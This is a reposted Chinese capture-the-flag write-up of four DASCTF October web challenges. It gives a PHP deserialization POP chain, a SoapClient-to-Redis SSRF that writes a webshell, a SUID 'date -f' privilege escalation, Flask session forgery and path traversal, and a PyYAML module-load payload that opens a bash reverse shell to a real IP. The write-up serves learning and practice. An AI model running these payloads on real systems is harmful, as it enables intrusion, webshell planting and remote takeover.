返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >DASCTF10月 web
  • 402
分享到

DASCTF10月 web

python网络安全php 2023-09-09 13:09:57 402人浏览 八月长安
摘要

比赛忘记打了,回头看看题 ez_pop

比赛忘记打了,回头看看题

ez_pop

PHPhighlight_file(__FILE__);error_reporting(0);class fine{    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }    public function __invoke()    {        call_user_func($this->cmd, $this->content);    }    public function __wakeup()    {        $this->cmd = "";        die("Go listen to Jay Chou's secret-code! Really nice");    }}class show{    public $ctf;    public $time = "Two and a half years";    public function __construct($ctf)    {        $this->ctf = $ctf;    }    public function __toString()    {        return $this->ctf->show();    }    public function show(): string    {        return $this->ctf . ": Duration of practice: " . $this->time;    }}class sorry{    private $name;    private $passWord;    public $hint = "hint is depend on you";    public $key;    public function __construct($name, $password)    {        $this->name = $name;        $this->password = $password;    }    public function __sleep()    {        $this->hint = new secret_code();    }    public function __get($name)    {        $name = $this->key;        $name();    }    public function __destruct()    {        if ($this->password == $this->name) {            echo $this->hint;        } else if ($this->name = "jay") {            secret_code::secret();        } else {            echo "This is our code";        }    }    public function getPassword()    {        return $this->password;    }    public function setPassword($password): void    {        $this->password = $password;    }}class secret_code{    protected $code;    public static function secret()    {        include_once "hint.php";        hint();    }    public function __call($name, $arguments)    {        $num = $name;        $this->$num();    }    private function show()    {        return $this->code->secret;    }}if (isset($_GET['pop'])) {    $a = unserialize($_GET['pop']);    $a->setPassword(md5(mt_rand()));} else {    $a = new show("Ctfer");    echo $a->show();}

一个简单的链子

sorry::__destruct->show::__tostring->secret_code::show()->sorry::__get->fine::invoke

payload:

class fine{    public $cmd;    public $content;    public function __construct()#构造方法    {        $this->cmd = 'system';        $this->content = 'ls';    }}class show{    public $ctf;    public $time;}class sorry{    public $name;    public $password;    public $hint;    public $key;}class secret_code{    public $code;}$a = new sorry();$a->hint = new show();$a->hint->ctf = new secret_code();$a->hint->ctf->code = new sorry();$a->hint->ctf->code->key = new fine();$b = $a;echo serialize($b);

记得替换一下fine后面的元素个数,大于自身的个数就能绕过wakeup

EasyLove

题目提示Redis
源代码:

 <?phphighlight_file(__FILE__);error_reporting(0);class swpu{    public $wllm;    public $arsenetang;    public $l61q4cheng;    public $love;        public function __construct($wllm,$arsenetang,$l61q4cheng,$love){        $this->wllm = $wllm;        $this->arsenetang = $arsenetang;        $this->l61q4cheng = $l61q4cheng;        $this->love = $love;    }    public function newnewnew(){        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);    }    public function flag(){        $this->love->getflag();    }        public function __destruct(){        $this->newnewnew();        $this->flag();    }}class hint{    public $hint;    public function __destruct(){        echo file_get_contents($this-> hint.'hint.php');    }}$hello = $_GET['hello'];$world = unserialize($hello);  

值得注意的是这个地方:

public function newnewnew(){  $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);  }

在这里的值都是我们可控的,而反序列化打redis一半都是配合ssrf这里也给我们提供了条件
可以使用内置类SoapClient
因为他的destruct函数里面调用所以会自动进入,我们只需要构造我们需要的值即可

class swpu{    public $wllm;    public $arsenetang;    public $l61q4cheng;    public $love;}$a = new swpu();$a->wllm = 'SoapClient';$a->arsenetang = null;$target = 'Http://127.0.0.1:6379/';$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing ''\r\nsave";$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");echo urlencode(serialize($a));

尝试写入一句话进shell.php
发现虽然页面在加载,也就是说我们的命令已经执行,但是访问shell.php发现并未写入,猜测应该是redis有认证,我们需要找到他的密码。
回到题目继续往下看发现源码里面含有一个hint.php
现在就是要尝试读取到hint.php里面的内容
也可以任意构造gopher协议,返回为空,这样他就会直接file_get_contents('hint.php');
查看发现给出提示

$hint = "My favorite database is Redis and My favorite day is 20220311";?>

猜测20220311是redis的认证密码
直接在flushall前面加上认证再写入一句话
$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing ''\r\nsave";
写入即可
蚁剑连接上去发现在根目录下面有个start.sh
在这里插入图片描述
找到了flag的位置,直接cat发现没有权限,猜测需要提权
用ffind寻找suid
蚁剑不好找,而且他也没办法直接反弹,我们可以写一个sh文件然后bash执行就能反弹
find / -perm -u=s -type f 2>/dev/null
在这里插入图片描述发现date命令中-f可以查看文件,直接date -f /hereisflag/flllll111aaagg

hade_waibo

算是非预期的把:
在随意登陆进去之后,发现一个文件读取
然后任意文件读取之后会在图片里面返回出来
能任意文件阅读,题目提示flag在根目录下面的一个文件里面,而且在之前的题目里面看到在根目录下面存在start.sh
直接查看start.sh

#!/bin/shecho $FLAG > /ghjsdk_F149_H3re_asdasfcexport FLAG=no_flagFLAG=no_flagapache2-foregroundrm -rf /flag.shtail -f /dev/null

直接找到咯文件名、
直接进行文件读取
flag
预期解:待会写

BlogSystem

开发现是一个博客网页,注册的时候发现admin已经被注册掉,而登陆之后带着的flaksession里面解码之后有我们的用户名信息,猜测我们需要变成admin
在博客下面发现在模板中隐藏的secret-key
利用这个secret-key解码发现成功,我们直接用它伪造session
···在这里插入图片描述
登陆进去之后发现原来注册之后的路由功能,多了一个download
尝试目录穿越,发现..以及//被替换成空了可以用.//./来构造目录穿越
下载到app.py源码

from flask import *import configapp = Flask(__name__)app.config.from_object(config)app.secret_key = '7his_1s_my_fav0rite_ke7'from model import *#导入的包1from view import *#导入的包2app.reGISter_blueprint(index, name='index')app.register_blueprint(blog, name='blog')@app.context_processordef login_statue():    username = session.get('username')    if username:        try:            user = User.query.filter(User.username == username).first()            if user:                return {"username": username, 'name': user.name, 'password': user.password}        except Exception as e:            return e    return {}@app.errorhandler(404)def page_not_found(e):    return render_template('404.html'), 404@app.errorhandler(500)def internal_server_error(e):    return render_template('500.html'), 500if __name__ == '__main__':    app.run('0.0.0.0', 80)

发现该文件只是浅浅初始化了一下路由,我们着重可以看一下他导入的包
flask config view modleflask就不说了,上面的session伪造,
可以看出来这三个包就是最基本的mvc结构,或者说是MVT
可以浅浅看一下MVT的介绍Peter杰

MVT介绍
MVT 全拼为Model-View-Template
MVT 核心思想 : 解耦
MVT 解析
M (模型)全拼为Model, 与MVC中的M功能相同, 负责数据处理, 内嵌了ORM框架.
V (视图)全拼为View, 与MVC中的C功能相同, 接收HttpRequest, 业务处理,返回HttpResponse.
T (模板)全拼为Template, 与MVC中的V功能相同, 负责封装构造要返回的html, 内嵌了模板引擎.

想要更加深入了解,请移步百度

想要看看他导入的文件直接下载view.py发现没有文件,那么就是在view文件夹下面的内容了,直接下载vew/__init__.py

from .index import indexfrom .blog import blog

下载index.py以及blog.py

from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_filefrom werkzeug.security import check_password_hashfrom decorators import login_limit, admin_limitfrom model import *import osindex = Blueprint("index", __name__)@index.route('/')def hello():    return render_template('index.html')@index.route('/register', methods=['POST', 'GET'])def register():    if request.method == 'GET':        return render_template('register.html')    if request.method == 'POST':        name = request.form.get('name')        username = request.form.get('username')        password = request.form.get('password')        user = User.query.filter(User.username == username).first()        if user is not None:            flash("该用户名已存在")            return render_template('register.html')        else:            user = User(username=username, name=name)            user.password_hash(password)            db.session.add(user)            db.session.commit()            flash("注册成功!")            return render_template('register.html')@index.route('/login', methods=['POST', 'GET'])def login():    if request.method == 'GET':        return render_template('login.html')    if request.method == 'POST':        username = request.form.get('username')        password = request.form.get('password')        user = User.query.filter(User.username == username).first()        if (user is not None) and (check_password_hash(user.password, password)):            session['username'] = user.username            session.permanent = True            return redirect(url_for('index.hello'))        else:            flash("账号或密码错误")            return render_template('login.html')@index.route("/updatePwd", methods=['POST', 'GET'])@login_limitdef update():    if request.method == "GET":        return render_template("updatePwd.html")    if request.method == 'POST':        lodPwd = request.form.get("lodPwd")        newPwd1 = request.form.get("newPwd1")        newPwd2 = request.form.get("newPwd2")        username = session.get("username")        user = User.query.filter(User.username == username).first()        if check_password_hash(user.password, lodPwd):            if newPwd1 != newPwd2:                flash("两次新密码不一致!")                return render_template("updatePwd.html")            else:                user.password_hash(newPwd2)                db.session.commit()                flash("修改成功!")                return render_template("updatePwd.html")        else:            flash("原密码错误!")            return render_template("updatePwd.html")@index.route('/download', methods=['GET'])@admin_limitdef download():    if request.args.get('path'):        path = request.args.get('path').replace('..', '').replace('//', '')        path = os.path.join('static/upload/', path)        if os.path.exists(path):            return send_file(path)        else:            return render_template('404.html', file=path)    return render_template('sayings.html',                           yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!')@index.route('/logout')def logout():    session.clear()    return redirect(url_for('index.hello'))

blog.py

import osimport randomimport reimport timeimport yamlfrom flask import Blueprint, render_template, request, sessionfrom yaml import Loaderfrom decorators import login_limit, admin_limitfrom model import *blog = Blueprint("blog", __name__, url_prefix="/blog")def waf(data):    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):        return False    else:        return True@blog.route('/writeBlog', methods=['POST', 'GET'])@login_limitdef writeblog():    if request.method == 'GET':        return render_template('writeBlog.html')    if request.method == 'POST':        title = request.form.get("title")        text = request.form.get("text")        username = session.get('username')        create_time = time.strftime("%Y-%m-%d %H:%M:%S")        user = User.query.filter(User.username == username).first()        blog = Blog(title=title, text=text, create_time=create_time, user_id=user.id)        db.session.add(blog)        db.session.commit()        blog = Blog.query.filter(Blog.create_time == create_time).first()        return render_template('blogSuccess.html', title=title, id=blog.id)@blog.route('/imgUpload', methods=['POST'])@login_limitdef imgUpload():    try:        file = request.files.get('editormd-image-file')        fileName = file.filename.replace('..','')        filePath = os.path.join("static/upload/", fileName)        file.save(filePath)        return {            'success': 1,            'message': '上传成功!',            'url': "/" + filePath        }    except Exception as e:        return {            'success': 0,            'message': '上传失败'        }@blog.route('/showBlog/')def showBlog(id):    blog = Blog.query.filter(Blog.id == id).first()    comment = Comment.query.filter(Comment.blog_id == blog.id)    return render_template("showBlog.html", blog=blog, comment=comment)@blog.route("/blogAll")def blogAll():    blogList = Blog.query.order_by(Blog.create_time.desc()).all()    return render_template('blogAll.html', blogList=blogList)@blog.route("/update/", methods=['POST', 'GET'])@login_limitdef update(id):    if request.method == 'GET':        blog = Blog.query.filter(Blog.id == id).first()        return render_template('updateBlog.html', blog=blog)    if request.method == 'POST':        id = request.form.get("id")        title = request.form.get("title")        text = request.form.get("text")        blog = Blog.query.filter(Blog.id == id).first()        blog.title = title        blog.text = text        db.session.commit()        return render_template('blogSuccess.html', title=title, id=id)@blog.route("/delete/")@login_limitdef delete(id):    blog = Blog.query.filter(Blog.id == id).first()    db.session.delete(blog)    db.session.commit()    return {        'state': True,        'msg': "删除成功!"    }@blog.route("/myBlog")@login_limitdef myBlog():    username = session.get('username')    user = User.query.filter(User.username == username).first()    blogList = Blog.query.filter(Blog.user_id == user.id).order_by(Blog.create_time.desc()).all()    return render_template("myBlog.html", blogList=blogList)@blog.route("/comment", methods=['POST'])@login_limitdef comment():    text = request.values.get('text')    blogId = request.values.get('blogId')    username = session.get('username')    create_time = time.strftime("%Y-%m-%d %H:%M:%S")    user = User.query.filter(User.username == username).first()    comment = Comment(text=text, create_time=create_time, blog_id=blogId, user_id=user.id)    db.session.add(comment)    db.session.commit()    return {        'success': True,        'message': '评论成功!',    }@blog.route('/myComment')@login_limitdef myComment():    username = session.get('username')    user = User.query.filter(User.username == username).first()    commentList = Comment.query.filter(Comment.user_id == user.id).order_by(Comment.create_time.desc()).all()    return render_template("myComment.html", commentList=commentList)@blog.route('/deleteCom/')def deleteCom(id):    com = Comment.query.filter(Comment.id == id).first()    db.session.delete(com)    db.session.commit()    return {        'state': True,        'msg': "删除成功!"    }@blog.route('/saying', methods=['GET'])@admin_limitdef Saying():    if request.args.get('path'):        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')        try:            with open(file, 'rb') as f:                f = f.read()                if waf(f):                    print(yaml.load(f, Loader=Loader))                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')                else:                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')        except Exception as e:            return render_template('sayings.html', yaml='鲁迅说:'+str(e))    else:        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:            sayings = yaml.load(f, Loader=Loader)            saying = random.choice(sayings)            return render_template('sayings.html', yaml=saying)

主要应该先看这里

@blog.route('/imgUpload', methods=['POST'])@login_limitdef imgUpload():    try:        file = request.files.get('editormd-image-file')        fileName = file.filename.replace('..','')        filePath = os.path.join("static/upload/", fileName)        file.save(filePath)        return {            'success': 1,            'message': '上传成功!',            'url': "/" + filePath        }    except Exception as e:        return {            'success': 0,            'message': '上传失败'        }

这里对文件名进行了替换,防止了目录穿越
还有一个在前端没有的页面saying

@blog.route('/saying', methods=['GET'])@admin_limitdef Saying():    if request.args.get('path'):        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')        try:            with open(file, 'rb') as f:                f = f.read()                if waf(f):                    print(yaml.load(f, Loader=Loader))                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')                else:                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')        except Exception as e:            return render_template('sayings.html', yaml='鲁迅说:'+str(e))    else:        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:            sayings = yaml.load(f, Loader=Loader)            saying = random.choice(sayings)            return render_template('sayings.html', yaml=saying)

如果我们get传入了path,它就会对我们传入的数据进行过滤,如果完成绕过了waf,那么他就会调用yaml的load方法来加载我们的文件
看一下waf

def waf(data):    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):        return False    else:        return True

这里对常用的命令执行参数进行了过滤,完全没办法绕过捏
前面调用到yaml.load也就是可以用到pyyaml反序列化
常用的反序列化标签

!!python/object
!!Python/object/apply
!!python/object/new

(没学过)查看出题人的博客说,object没有合适的模块,不能执行,而第二个又被waf过滤了,那么就只剩第三个了
在源码中apply以及new他们最后进入的是同一个函数,所以payload可以通用

简而言之,就是可以写一个__init__.py文件,然后用saying里面的load加载,因为无法目录穿越,所以只能使用__init__.py将整个upload看作为一个软件包,然后就可以执行加载

这样我们就可以实现import static.upload的功能
然后我们直接在__init__.py里面写入反弹shell命令,在VPS上面接收就可以getshell
访问/blog/saying?path=static/upload/poc.yaml就可以反弹shell
直接cat /flag就行

import osos.system('bash -c "bash -i >& /dev/tcp/81.68.106.68/2333 0>&1"')
!!python/module:static.upload

来源地址:https://blog.csdn.net/your_friends/article/details/127547997

--结束END--

本文标题: DASCTF10月 web

本文链接: https://lsjlt.com/news/401556.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • DASCTF10月 web
    比赛忘记打了,回头看看题 ez_pop ...
    99+
    2023-09-09
    python 网络安全 php
  • DASCTF2022 ——十月赛 Web 部分Writeup
    EasyPOP 题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public 起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString() ...
    99+
    2023-10-09
    前端 php 服务器 数据库 开发语言
  • web前端4个月学什么
    Web前端是一个十分重要的领域,它涵盖了Web应用程序的构建和设计过程,包括用户界面设计、交互设计、前端开发以及后端开发。Web前端可以让用户直接与Web应用程序进行交互,并为Web应用程序提供优秀的用户体验,因此Web前端开发越来越受到关...
    99+
    2023-05-20
  • DASCTF X GFCTF 2022十月挑战赛web
    前言 晚来的比赛web题解,这次buu的十月赛web部分的题目对于我来说质量还是蛮高的,因为这几天比较忙,一直没有去复现总结,不过该复现的还得复现,复现了这次比赛又能学到不少知识,嘿嘿嘿。 EasyPOP 考察php的pop链,这题相比之下...
    99+
    2023-09-30
    php 开发语言
  • 【愚公系列】2023年06月 攻防世界-Web(filemanager)
    文章目录 前言1.PHP源码泄露2.PHP文件上传漏洞 一、filemanager1.题目2.答题 前言 1.PHP源码泄露 如果PHP源码泄露,那么攻击者可以轻易地查看其中的代...
    99+
    2023-09-10
    php web安全 开发语言 网络安全 安全
  • 【愚公系列】2023年05月 攻防世界-Web(web2)
    文章目录 前言一、web21.题目2.答题 ...
    99+
    2023-09-09
    web安全 网络安全 网络协议 php 安全
  • 【愚公系列】2023年06月 攻防世界-Web(Web_php_wrong_nginx_config)
    文章目录 前言一、Web_php_wrong_nginx_config1.题目2.答题 前言 PHP代码混淆后门脚本是指在进行PHP代码混淆的过程中,植入恶意代码以实现后门的攻击手段...
    99+
    2023-09-01
    php 前端 nginx web安全 网络安全
  • 【愚公系列】2023年06月 攻防世界-Web(ics-07)
    文章目录 前言一、ics-071.题目2.答题2.1 代码解析:发现漏洞2.2 构造 payload:上传木马2.3 蚁剑连接 前言 php是一种弱类型语言,意味着在变量的赋值...
    99+
    2023-09-06
    前端 php 开发语言 web安全 网络安全
  • SQL 查询计数器每天、每月、每年和总计的 Web 访问量
    让我们了解如何构建查询来查找 MySQL 中每天、每月、每年的网络访问次数以及总计:注意:我们假设我们已经创建了一个名为“DBNAME”的数据库和一个名为“tableName”的表。让我们看看可用于获取每天网络访问量的 MySQL 查询,月...
    99+
    2023-10-22
  • Java 获取上一个月的月份
     因最近在写代码的时候遇到了获取上个月月份的问题yyyy-MM这个格式,根据给的工具类,获取出来的值是有问题的,所以记录以下。 问题方法 SimpleDateFormat format = new SimpleDateFor...
    99+
    2023-09-13
    java servlet 开发语言
  • python 本周,上周,本月,上月,本
    #coding=utf-8   import datetime from datetime import timedelta   now = datetime.datetime.now()   #今天 today...
    99+
    2023-01-31
    上月 上周 本周
  • php如何判断本月是几月
    这篇文章主要介绍了php如何判断本月是几月的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇php如何判断本月是几月文章都会有所收获,下面我们一起来看看吧。在php中,可以使用date()函数来判断本月是几月,该函...
    99+
    2023-06-30
  • 都说web前端开发薪资高,入行就有上万月薪,转行难吗?
    ...
    99+
    2023-06-03
  • MySQL获取当前时间、年月、年月日
    文章目录 1.mysql获取当前时间(年月日 时分秒)2.mysql获取当前年月3.mysql获取当前年月日4.mysql获取当前年份5.mysql获取当前月份6.mysql获取当前日 1.mysql获取当前时间(年月日 时...
    99+
    2023-08-19
    mysql 数据库
  • 云服务器月租多少钱一个月
    云服务器是一种可以按照实际使用量计费的服务器服务,可以为用户提供可扩展的存储空间和计算资源,能够有效降低企业和个人的成本,同时也可以提高服务器的灵活性和可用性。在选择云服务器的月租多少钱一个月时,需要考虑多方面的因素,比如服务器的配置、价格...
    99+
    2023-10-28
    一个月 月租 多少钱
  • 3月28日
    2.14 文件和目录权限chmod1.  ls -l 查看文件和目录权限  rwx 三个参数的组合。其中 r 代表可读, w 代表可写, x 代表可执行。总共9位,前三位为所有者(user)的权限,中间三位为所属组(group)的权限,最后...
    99+
    2023-01-31
  • 3月26日
    2.6 相对和绝对路径1.相对路径:相对于当前路径开始的路径     ls .ssh/authorized_keys     ls sysconfig/network-scripts/ifcfg-ens33   2.绝对路径:以根开始的路径...
    99+
    2023-01-31
  • 3月27日
    2.10 环境变量PATH环境变量PATH是一个控制命令路径查找的一个工具,当执行一个命令时,我们不用输入命令的绝对路径就能执行,那是因为命令执行时会去PATH变量指定的路径下查找到这个命令并执行的。1. #echo %PATH 显示PAT...
    99+
    2023-01-31
  • 12月3日
    对话框private void Dialog2(){  AlertDialog.Builder d = new AlertDialog.Builder(MainActivity.this);  View v= View.inflate(ge...
    99+
    2023-01-31
  • 亚马逊全部站点收一个月月租
    网站加速费用:如果您的网站需要进行国际互联网访问或者需要处理大量的数据,那么收取一个月的月租可能是必要的。这个费用通常包括服务器托管、带宽租赁、CDN服务等费用。 数据备份费用:如果您的网站需要进行实时备份或者定期备份数据,那么收取一个月...
    99+
    2023-10-27
    亚马逊 月租 个月
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作